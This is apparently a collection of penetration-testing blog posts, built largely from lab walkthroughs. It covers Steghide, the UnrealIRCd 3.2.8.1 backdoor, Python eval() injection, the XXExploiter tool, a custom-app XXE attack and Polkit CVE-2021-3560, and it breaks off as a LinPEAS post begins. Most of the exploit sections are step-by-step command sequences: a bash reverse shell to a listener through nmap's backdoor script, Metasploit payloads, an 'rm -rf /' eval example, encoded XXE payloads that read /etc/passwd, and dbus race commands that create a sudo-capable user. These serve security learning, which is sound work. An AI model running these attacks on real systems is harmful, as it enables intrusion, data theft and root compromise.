    Steghide is a popular command-line tool used for hiding and extracting sensitive information within various file formats using steganography techniques. Steganography is the practice of concealing one piece of information within another.

    Installing Steghide

    Before you can use Steghide, you need to install it on your system. Here are the general steps:

    • Linux: Use your distribution’s package manager (e.g., apt, yum) to install Steghide. For example, on Ubuntu, you can run sudo apt-get install steghide
    • macOS: You can use package managers like Homebrew or MacPorts to install Steghide. For Homebrew, run brew install steghide
    • Windows: Download the Steghide binary from the official website (https://steghide.sourceforge.io/) and follow the installation instructions.

    How use

    Hiding a Text File within an Image:

    Let’s assume you have a text file called “secret.txt” and an image file called “cover.jpg” in the same directory. Follow these steps to hide the text file within the image:

    Open your terminal or command prompt and navigate to the directory where the files are located.

    Use the following command to embed the text file within the image:

    • steghide embed -cf cover.jpg -ef secret.txt
    • <Passphrase>: 123456

    This command tells Steghide to embed the “secret.txt” file within the “cover.jpg” image file.

    Steghide will prompt you to enter a passphrase. Choose a strong passphrase and remember it, as you’ll need it later to extract the hidden file.

    After providing the passphrase, Steghide will generate a new file called “cover.jpg” (or the same name as the original file) with the embedded data.

    Extracting a Hidden File from an Image:

    Now, let’s extract the hidden file from the image we created in the previous step. Follow these instructions:

    Open your terminal or command prompt and navigate to the directory where the image file is located.

    Use the following command to extract the hidden file:

    • steghide extract -sf cover.jpg
    • <Passphrase>: 123456

    This command instructs Steghide to extract any hidden data from the “cover.jpg” image file.

    Steghide will prompt you to enter the passphrase you used during the embedding process. Enter the correct passphrase.

    Steghide will then extract the hidden file and save it in the current directory with its original name.

    Hiding a File with Encryption:

    In this example, we’ll hide a file within an image, but we’ll encrypt the file before embedding it. Follow these steps:

    Encrypt the file you want to hide using your preferred encryption tool. Let’s assume the encrypted file is called “secret.enc”.

    Open your terminal or command prompt and navigate to the directory where the files are located.

    Use the following command to hide the encrypted file within the image:

    • steghide embed -cf cover.jpg -ef secret.enc -p <passphrase>

    Replace <passphrase> with the passphrase you want to use for embedding the file.

    Steghide will embed the encrypted file within the image using the provided passphrase.

    Specifying an Output File:

    By default, Steghide will overwrite the original file when embedding or extracting data. However, you can specify a different output file using the “-sf” (source file) and “-xf” (extract file) options.

    To specify an output file during embedding, use the “-sf” option followed by the desired output file name. For example:

    • steghide embed -cf cover.jpg -ef secret.txt -sf output.jpg

     

    (CVE-2010-2075)[Command Execution] UnrealIRCD 3.2.8.1 Backdoor

    UnrealIRCd contains a backdoor in the DEBUG3_DOLOG_SYSTEM macro. Various mirror sites hosting Unreal3.2.8.1.tar.gz with the 752e46f2d873c1679fa99de3f52a274d Md5 checksum since November 2009 have been compromised. A remote attacker could exploit this vulnerability to execute arbitrary commands with privileges of the application. CVE-2010-2075

    UnrealIRCd, an open-source Internet Relay Chat (IRC) server, typically uses a few specific ports for its operation. Here are the commonly used ports by UnrealIRCd:

    • Port 6667: This is the default port for IRC servers. It is used for plaintext, unencrypted IRC communication. Clients can connect to the IRC server using this port to join chat rooms and interact with other users.
    • Port 6697: This port is commonly used for secure IRC communication over SSL/TLS. It provides an encrypted connection between the IRC server and clients, ensuring data confidentiality and integrity.
    • Port 7000: Often used for IRC over SSL/TLS (encrypted communication) as an alternative to port 6697. Some IRC networks or services may choose to use this port instead

    Affected Products

    UnrealIRCd UnrealIRCd 3.2.8.1

    Identification

    1. First step would be to identify the open ports in the server

    • nmap -p- -T 5 10.10.10.117 –max-retries 1

    2. Now identify the version of the application, you can connect to the UnrealIRC port (6667, 6697, 7000), based on https://www.rfc-editor.org/rfc/rfc1459 , you can connect to the server using telnet, or netcat.

    • telnet 10.10.10.117 6697
    • (OPTIONAL) netcat 10.10.10.117 6697

    3. We can authenticate and connect to the server to find out the version

    • PASS vry4n
    • NICK vry4n
    • USER vry4n atVK9 Security :vry4n

    Note: the version is 3.2.8.1

    Version enumeration using nmap

    1. Run the /usr/share/nmap/scripts/irc-info.nse script against the UnrealIRC port

    • nmap -p 6667 -sV 192.168.142.128 –script=irc-info

    Exploiting using Nmap (irc-unrealircd-backdoor.nse)

    1. Nmap has a script that exploits this vulnerability, once we have confirmed the server has the vulnerable version we can, start a netcat listener on our local machine

    • nc -lvp 4444

    2. Now proceed to run the following command, feel free to modify the command injection as you please (–script-args=irc-unrealircd-backdoor.command=”)

    • nmap -d -p6697 –script=irc-unrealircd-backdoor.nse –script-args=irc-unrealircd-backdoor.command=’bash -c “bash -i >& /dev/tcp/10.10.14.9/4444 0>&1″‘ 10.10.10.117

    3. After a while check the listener

    Exploitation using a Script

    1. We can try to exploit this vulnerability using the script (https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master)

    • git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor.git
    • ls
    • cd UnrealIRCd-3.2.8.1-Backdoor
    • ls

    2. Display the options

    • python3 exploit.py -h

    3. Edit the source code, and add the local_ip & local_port

    • local_ip = ‘10.10.14.9’
    • local_port = ‘7777’

    4. Start a listener

    • nc -lvp 7777

    5. After editing the source code, run the application

    • python3 exploit.py -payload bash 10.10.10.117 6697

    6. Check the listener

    Note: A reverse connection should be started.

    Exploitation using Metasploit (unreal_ircd_3281_backdoor)

    1. This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

    • use exploit/unix/irc/unreal_ircd_3281_backdoor
    • show options

    2. Set the remote host and optionally set the remote port

    • set RHOSTS 192.168.142.128
    • (OPTIONAL) set RPORT 6697

    3. Show the payload options and use one of them

    • show options
    • set payload payload/cmd/unix/reverse_ruby

    4. Set the local IP and port, then start the exploit

    • set LHOST 192.168.142.129
    • (OPTIONAL) set LPORT 7777
    • exploit

    Remedy

    The best recommendation will be to upgrade to the latest version released by the vendor. Refer to unrealsecadvisory 20100612 for patch, upgrade or suggested workaround information. Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

    You can check by running ‘md5sum Unreal3.2.8.1.tar.gz’, it should

    output: 7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

    For reference, here are the md5sums for ALL proper files:

    7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

    5a6941385cd04f19d9f4241e5c912d18 Unreal3.2.8.1.exe

    a54eafa6861b6219f4f28451450cdbd3 Unreal3.2.8.1-SSL.exe

    Source

    https://exchange.xforce.ibmcloud.com/vulnerabilities/59414

    https://www.exploit-db.com/exploits/13853

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075

    https://seclists.org/fulldisclosure/2010/Jun/277

    https://seclists.org/fulldisclosure/2010/Jun/284

    https://security.gentoo.org/glsa/201006-21

    https://www.openwall.com/lists/oss-security/2010/06/14/11

    https://www.cvedetails.com/cve/CVE-2010-2075/?q=CVE-2010-2075

    https://www.cve.org/CVERecord?id=CVE-2010-2075

    https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master

     

    Exploiting Python EVAL() Code Injection

    Python is a versatile and powerful programming language known for its simplicity and readability. One of the features that makes Python flexible is the eval() function, which allows the execution of dynamically generated code. While eval() can be a useful tool in certain situations, it also carries inherent security risks if used improperly. In this article, we will delve into the dangers of Python EVAL code injection and how it can be exploited by malicious actors.

    Understanding EVAL and Code Injection:

    The eval() function in Python evaluates a string as a Python expression and returns the result. It allows developers to dynamically execute code during runtime, providing great flexibility. However, if user-supplied input is directly passed into eval(), it can lead to code injection vulnerabilities.

    Code injection occurs when an attacker manages to insert malicious code into a program, exploiting a vulnerability in the system. In the case of Python EVAL code injection, an attacker manipulates input data to execute unintended commands, potentially compromising the security and integrity of the system.

    Exploiting EVAL Code Injection:

    Exploiting EVAL code injection involves crafting input that can be executed by eval() in an unintended manner. Here’s an example:

    In this code snippet, the user is prompted to enter a number, which is then concatenated with a string to form an expression that is passed to eval().

    If an attacker enters malicious input like “__import__(‘os’).system(‘rm -rf /’)” instead of a valid number, the eval() function will execute the unintended command, resulting in the deletion of files on the system.

    Example

    1. So, by running this function normally, the eval() will add 2 + the user provided input.

    • python3 eval_test.py
    • 4

    2. Abusing this eval function we can inject code, in this case

    • python3 eval_test.py
    • __import__(‘os’).system(‘date’)

    3. You can then exploit further to get a reverse shell, escalate privileges, or read/write important files

    Bypass examples

    Most of the time, we need to bypass another expression to execute our desired command.

    Mitigating the Risks:

    To protect against EVAL code injection, it is crucial to follow best practices for input validation and sanitization. Here are some recommended measures:

    • Input Validation: Always validate user input to ensure it conforms to expected formats and ranges. Use appropriate validation techniques like regular expressions or type checking to filter out potentially harmful input.
    • Avoid Direct EVAL: Whenever possible, avoid using eval() to evaluate user input. Consider alternative approaches that don’t involve executing arbitrary code, such as using ast.literal_eval() to safely evaluate literals.
    • Context-Specific Evaluation: If you must use eval(), restrict the evaluation to a specific context by creating a whitelist of allowed functions, modules, or operations. This approach limits the potential damage an attacker can inflict.
    • Use Secure Defaults: Configure your system and applications with secure defaults, such as running with limited privileges or using a restricted execution environment. This reduces the impact of code injection vulnerabilities.
    • Regularly Update Dependencies: Keep your Python interpreter and libraries up to date to benefit from security patches and fixes. Many vulnerabilities related to EVAL code injection are often addressed in newer versions.

    Sources

    https://semgrep.dev/docs/cheat-sheets/python-code-injection/

    https://www.stackhawk.com/blog/command-injection-python/

    https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/

    https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1

    https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

     

    [How to] XXExploit Guide

    It generates the XML payloads, and automatically starts a server to serve the needed DTD’s or to do data exfiltration.

    Installation

    1. To install XXExploit, you first need to install npm module. npm stands for “Node Package Manager.” It is a package manager for JavaScript that allows developers to easily install and manage dependencies for their Node.js projects.

    • sudo apt install nodejs
    • sudo apt install npm

    2. Install the XXExploiter module using npm

    • sudo npm install -g xxexploiter

    3. Run the tool

    • xxexploiter

    Building and Running from source

    1. This is a simple Node application written with typescript. So you can build it as you build other apps:

    (install node and npm first, if you dont have them)

    • npm install
    • npm run build

    Note: you may need to npm install tsc -g in order for ‘npm build’ to succeed

    2. To run the app you can do it with one of two ways:

    • npm start [args]
    • node dist/index.js [args]

    Or you can install it on your system:

    • npm link

    How to

    1. There are basically 4 main commands:

    • file – to read local files
    • request – do SSRF attack, to make requests from the target machine
    • expect – Use PHP expect to execute commands, if your target is a PHP app
    • XEE – Just do parameter expansions to try to cause a DOS.

    2. File: We will create a default payload to read a common file /etc/passwd

    • xxexploiter file /etc/passwd

    3. Request: We will make a request from the target machine to a website

    • xxexploiter request http://127.0.0.1:8080

    3. Expect: Creates a default payload to execute system commands

    • xxexploiter expect id

    Using other options

    Template:

    -t, –template : path to an XML template where to inject payload

    • xxexploiter file /etc/passwd –template exploit.xml

    Write an output file

    -x : Use a request to automatically send the xml file

    • xxexploiter file /etc/passwd –template exploit.xml -o payload.xml
    • cat payload

    Mode

    -m, –mode : Extraction Mode: xml, oob, cdata. Default: xml

    -s, –server : Server address for OOB and DTD

    -p, –port : Server port for OOB and DTDs. Default: 7777

    If you choose to use OOB or CDATA mode, XXExploiter will generate the necessary dtd to be included, and will start a server to host them.

    • xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t exploit.xml -m oob

    Encoding

    -e, –encode : Extraction Encoding: none, phpbase64. Default: none

    • xxexploiter file /etc/passwd –template exploit.xml -e phpbase64

    Sources

    https://kalilinuxtutorials.com/xxexploiter/

    https://hakin9.org/xxexploiter-tool-to-help-exploit-xxe-vulnerabilities/

    https://github.com/luisfontes19/xxexploiter

     

    Exploiting XML External Entities (XXE) in custom application

    XXE vulnerabilities can be exploited by attackers to manipulate XML parsing functionality, potentially leading to unauthorized access, sensitive data exposure, or even remote code execution. This article aims to provide a comprehensive guide to understanding and exploiting XXE vulnerabilities, shedding light on the techniques employed by attackers and helping security professionals and developers bolster their defenses.

    For more information visit our publication named XML external entity (XXE) injection

    #1 Example: exploiting a custom XML web app

    This application accepts users’ input, and processes them as XML. The application doesn’t have any security restrictions, so, it is vulnerable to XXE attacks

    1. First step is to use the application normally, and, explore its functionality

    • http://10.10.11.100/log_submit.php

    2. Entering data we see it provides some output, based on what we entered.

    3. Now, we will try to capture the request using BurpSuite or any other web proxy you may have, I noticed the following

    • The application is calling /tracker_diRbPr00f314.php to send the data
    • The contents of the data variable seem to be URL encoded

    4. The response doesn’t contain anything interesting other than the data we sent

    5. Now we will try to use BurpSuite decoder module, to decode the data that has been sent in the Request

    Encoded data

    • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U%2BQ1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M%2BCgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

    Decoded data

    • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+

    6. It looks the result is base64 encode, so now we will try to decode this output using Linux

    • echo ‘PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+’ | base64 -d

    7. Now, we can see the output is XML, we can know try to run a simple XXE query to see if we get text printed on screen, so send the request to Repeater

    Identification

    1. Being able to repeat this request, we will proceed to modify the current data sent, now that it has been decoded, edit it and then encode it using base64

    • vi exploit.xml
    • cat exploit.xml
    • cat exploit.xml | base64

    Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgIlZrOVNlY3VyaXR5Ij4KXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4meHhlOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0PiAgICAK

    2. Now proceed to use BurpSuite decoe module to encode this in URL format

    The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%49%6c%5a%72%4f%56%4e%6c%59%33%56%79%61%58%52%35%49%6a%34%4b%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%43%64%57%5a%6d%5a%58%49%67%54%33%5a%6c%63%6d%5a%73%62%33%63%38%4c%33%52%70%64%47%78%6c%50%67%6f%4a%43%54%78%6a%64%32%55%2b%51%31%5a%46%4c%54%49%77%4d%6a%4d%74%4d%44%41%77%4d%44%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6a%45%77%4c%6a%41%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%65%48%68%6c%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%69%41%67%49%43%41%4b%0a

    3. Now, we proceed to use this in our request instead of the original data, modify the data= variable data, our data in the external entity should be printed. (Vk9Security)

    Exploitation

    1. Now that we know we can run external entities, we can proceed to try to read a common file (/etc/passwd) using the file method

    • vi exploit.xml
    • cat exploit.xml
    • cat exploit.xml | base64

    Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPkJ1ZmZlciBPdmVyZmxvdzwvdGl0bGU+CgkJPGN3ZT5DVkUtMjAyMy0wMDAwPC9jd2U+CgkJPGN2c3M+MTAuMDwvY3Zzcz4KCQk8cmV3YXJkPiZ4eGU7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ICAgIAo=

    2. Now URL encode this base64 string using burp suite decoder module

    The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%55%31%6c%54%56%45%56%4e%49%43%4a%6d%61%57%78%6c%4f%69%38%76%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%67%70%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6b%4a%31%5a%6d%5a%6c%63%69%42%50%64%6d%56%79%5a%6d%78%76%64%7a%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%44%56%6b%55%74%4d%6a%41%79%4d%79%30%77%4d%44%41%77%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%4d%54%41%75%4d%44%77%76%59%33%5a%7a%63%7a%34%4b%43%51%6b%38%63%6d%56%33%59%58%4a%6b%50%69%5a%34%65%47%55%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%49%43%41%67%49%41%6f%3d%0a

    3. Now use this special crafted encoded XML file in BurpSuite repeater, modifying the data= variable data

    4. As you can see the contents of /etc/passwd are displayed on the response

    Sources

    https://github.com/payloadbox/xxe-injection-payload-list

    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md

    https://github.com/topics/xxe-injection

    https://github.com/luisfontes19/xxexploiter

    https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xxe-xee-xml-external-entity.md

    https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md

     

    (CVE-2021-3560)[Local Privilege Escalation] Polkit 0.105-26 0.117-2

    CVE-2021-3560 has emerged as a significant concern for Linux-based systems. This security flaw, also known as the “Polkit” vulnerability, allows local attackers to gain root privileges, potentially leading to complete compromise of the affected system. In this article, we will delve into the details of CVE-2021-3560, its impact, and recommended measures to mitigate the risk.

    What is Polkit

    Polkit, also known as PolicyKit, is a framework used in Linux systems for defining and managing policies related to system privileges and access control. It provides a way to control permissions for various actions and resources, allowing non-root users to perform administrative tasks without granting them full superuser (root) privileges.

    The primary purpose of Polkit is to facilitate fine-grained authorization decisions based on defined policies. It allows system administrators to specify rules and conditions for granting or denying access to privileged operations, such as system configuration changes, device management, or software installation.

    Here’s a high-level overview of how Polkit works:

    • Policy Definitions: Polkit relies on policy definitions that specify the desired authorization rules. These policies are usually defined in XML files located in the /etc/polkit-1/ directory. The policies describe the actions, authentication requirements, and associated privileges.
    • Authentication Agents: When a user requests an action that requires elevated privileges, such as modifying system settings, a Polkit-aware application or process checks the policy associated with that action. If the policy allows the user to perform the action, an authentication agent is invoked.
    • Authentication Dialog: The authentication agent presents an authentication dialog to the user, prompting for credentials, such as a password or biometric authentication. The dialog can vary depending on the desktop environment or the specific application invoking Polkit.
    • Authorization Check: The entered credentials are verified against the authentication requirements specified in the policy. If the credentials are valid and meet the criteria, Polkit grants the user temporary authorization to perform the requested action with elevated privileges.
    • Action Execution: With the temporary authorization, the requesting application or process can proceed to execute the action with the necessary privileges. Once the action is completed or the authorization expires, the elevated privileges are revoked.

    What is dbus

    dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:

    • dbus-send –system –dest=org.freedesktop.DBus –type=method_call –print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames

    dbus stores service files in /usr/share/dbus-1/system-services

    • cd /usr/share/dbus-1/system-services
    • ls -la

    Accounts. service which triggers accounts-daemon to perform user addition/modification options.

    • cat org.freedesktop.Accounts.service

    Using this service file to add an user

    • dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:”vry4n user” int32:1

    –system: sends message to the system bus

    –dest: name of the connection (interface) that receives the message

    –type: method_call means a system function with arguments being passed

    –print-reply: prints the output in human-readable format

    /org/freedesktop/Accounts: This is the function that will be used

    org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.

    Overview of CVE-2021-3560:

    CVE-2021-3560 is a privilege escalation vulnerability that affects the Polkit system service, which provides an authorization framework for granting privileges in Linux distributions. Polkit, also known as PolicyKit, is commonly used to handle authorization decisions, allowing non-root users to perform certain administrative tasks with the appropriate permissions.

    The vulnerability resides in the Polkit’s handling of authentication credentials. A flaw in the implementation allows a local attacker with a low-privileged account to bypass the authentication process and execute arbitrary commands with elevated privileges. This could result in unauthorized access, data compromise, and potential system-wide impact.

    The exact vulnerable piece of code in the provided Polkit code is located in the on_response function. Here are the lines that introduce the vulnerability:

    The vulnerability lies in the polkit_agent_listener_handle_response function, which processes the response received from the Polkit authentication agent. The flaw allows an authenticated user to bypass the authentication process and execute arbitrary commands with elevated privileges.

    By manipulating the response or injecting a malicious response, an attacker can exploit the race condition within the authentication process and gain unauthorized root access.

    Affected Systems:

    The vulnerability affects various Linux distributions that utilize Polkit versions before 0.119. This includes popular distributions like Ubuntu, Debian, Fedora, CentOS, and their derivatives. It is crucial for administrators and users of these distributions to promptly address the vulnerability to prevent potential exploitation.

    polkit 0.105-26 0.117-2

    polkit polkit 0.113

    polkit polkit 0.118

    Red Hat Enterprise Linux 8

    Fedora 21 (or later)

    Debian Testing (“Bullseye”)

    Ubuntu 20.04 LTS (“Focal Fossa”)

    Identification

    1. In order to identify the version of the PolicyKit (polkit) we can run the following commands

    RHEL

    • rpm -qa | grep -i polkit
    • rpm -qa | grep -i policykit

    Debian

    • apt list –installed | grep -i policykit
    • apt list –installed | grep -I polkit

    (Optional) 2. Check these 2 services are available

    • rpm -qa | grep -i accountsservice
    • rpm -qa | grep -i gnome-control-center

    Exploitation Scenario

    To exploit CVE-2021-3560, an attacker must have a local account on the targeted Linux system. By leveraging a race condition in the Polkit’s authentication mechanism, an attacker can trick the system into granting privileged access. This is achieved by simultaneously requesting an authentication action and replacing it with a different, unauthorized action before the authentication process completes.

    Upon successful exploitation, the attacker can execute commands with elevated privileges, essentially gaining root access to the system. This level of control opens the door for further malicious activities, such as installing malware, modifying system configurations, exfiltrating sensitive data, or launching additional attacks within the compromised environment.

    1. For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.

    • time dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:”vry4n user” int32:1

    2. As you can see, it takes me 0.059 seconds to execute this command. So, I need to kill my payload before 0.059 seconds for it to work. (Run it many times, it usually doesn’t work at first, it took me like 14 times, confirm by running “cat /etc/passwd”

    • dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:”vry4n user” int32:1 & sleep 0.0035s ; kill $!
    • cat /etc/passwd | tail -n 5

    Note: The User Vry4n has been added

    3. Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.

    • openssl passwd -5 vry4n@123
    • Result: $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9

    4. Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like, (also run this command multiple times until success), User1005 means the user ID which needs to match what is in /etc/passwd

    • dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:’ $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9′ string:BestHackingTutorials & sleep 0.0035s ; kill $!

    5. Once the User add & the Password change commands succeed, one after the other, we can proceed to log in Username: Vry4n & Password: 123456

    • su vry4n
    • Password: 123456
    • sudo su
    • Password:123456
    • id
    • whoami

    #1 – Exploitation using a Script

    1. This is a script that automates this task, first of all let’s download it, start a web server to transfer it to the target machine

    • git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git
    • cd CVE-2021-3560-Polkit-Privilege-Esclation
    • ls
    • python3 -m http.server 9999

    2. Now, transfer the file into the target machine, and run it ([!] If the username is inserted, but the login fails; try running the exploit again.)

    • bash poc.sh
    • Credentials: secnigma: secnigmaftw

    #2 Exploitation using a Script

    1. In this example we are going to test, https://www.exploit-db.com/exploits/50011, This is another bash script that can be used as an alternative. Transfer the file into the target machine and run it. (if username added to /etc/passwd and the password doesn’t work, run it several times until it succeeds)

    • vi exploit.sh
    • bash exploit.sh

    2. Now try to switch to that user (hacked:password)

    • su hacked
    • Password: password
    • sudo su –
    • Password: password
    • whoami
    • id

    #3 Exploitation using a Script

    1. We can try this other alternative written in python (https://github.com/UNICORDev/exploit-CVE-2021-3560), so download it in your local machine, then start a web server to deploy it into the target machine

    • git clone https://github.com/UNICORDev/exploit-CVE-2021-3560.git
    • cd exploit-CVE-2021-3560
    • ls
    • python3 -m http.server 9999

    2. Download the file from our web server, then, run the application

    • wget http://10.10.14.8:9999/exploit-CVE-2021-3560.py
    • python3 exploit-CVE-2021-3560.py

    3. After successful execution, elevate the privileges(Username: unicord & Password: unicord), if it doesn’t work the first time, run it several times. Verify the user has been added by reading /etc/passwd file

    • su unicord
    • Password: unicord
    • sudo su
    • Password: unicord
    • whoami
    • id

    Mitigation and Remediation:

    Linux system administrators and users are strongly advised to take the following actions to mitigate the risks associated with CVE-2021-3560:

    Update Polkit: Apply the latest security patches and updates provided by the respective Linux distribution. These updates typically include the patched version of Polkit, addressing the vulnerability. Keeping the system up to date is essential for maintaining a secure environment.

    Monitor Security Advisories: Stay informed about security advisories and notifications from the Linux distribution’s official channels. This ensures timely awareness of vulnerabilities and recommended remediation steps.

    Restrict Privileges: Implement the principle of least privilege (PoLP) by limiting user privileges to only those necessary for their tasks. Minimizing the number of accounts with administrative privileges can significantly reduce the potential impact of privilege escalation vulnerabilities.

    Security Audits: Conduct regular security audits and vulnerability assessments to identify potential weaknesses and ensure that systems are adequately protected. Tools like LinPEAS.sh, which performs comprehensive scans for privilege escalation vulnerabilities, can be useful in this regard.

    Sources

    https://packetstormsecurity.com/files/163142

    https://www.exploit-db.com/exploits/50011

    https://exchange.xforce.ibmcloud.com/vulnerabilities/202979

    https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

    https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

    https://kaarb0.medium.com/exploitation-of-cve-2021-3560-cecfdf250397

    https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/

    https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml

    https://github.com/UNICORDev/exploit-CVE-2021-3560

    https://thesecmaster.com/step-by-step-procedure-to-fix-the-plokit-vulnerability-cve-2021-3560/

    https://access.redhat.com/security/cve/CVE-2021-3560

    https://security-tracker.debian.org/tracker/CVE-2021-3560

    https://ubuntu.com/security/CVE-2021-3560

    https://bugzilla.redhat.com/show_bug.cgi?id=1967424

     

    Enumerate Linux using LinPEAS.sh

    LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

    LinPEAS.sh is a script used for privilege escalation and enumeration on Linux systems. It is part of the LinEnum project, which is a collection of scripts and tools designed to assist in the discovery and exploitation of Linux vulnerabilities and weaknesses.

    LinPEAS.sh, specifically, focuses on identifying misconfigurations, insecure settings, and other potential security issues that could lead to privilege escalation. It scans the system for various indicators and gathers information about the operating system, running processes, network connections, installed software, file permissions, and more.

    The script performs a comprehensive analysis of the system, looking for common security weaknesses such as world-writable files, misconfigured cron jobs, weak file permissions, unquoted service paths, and other potential vulnerabilities that can be exploited by an attacker.

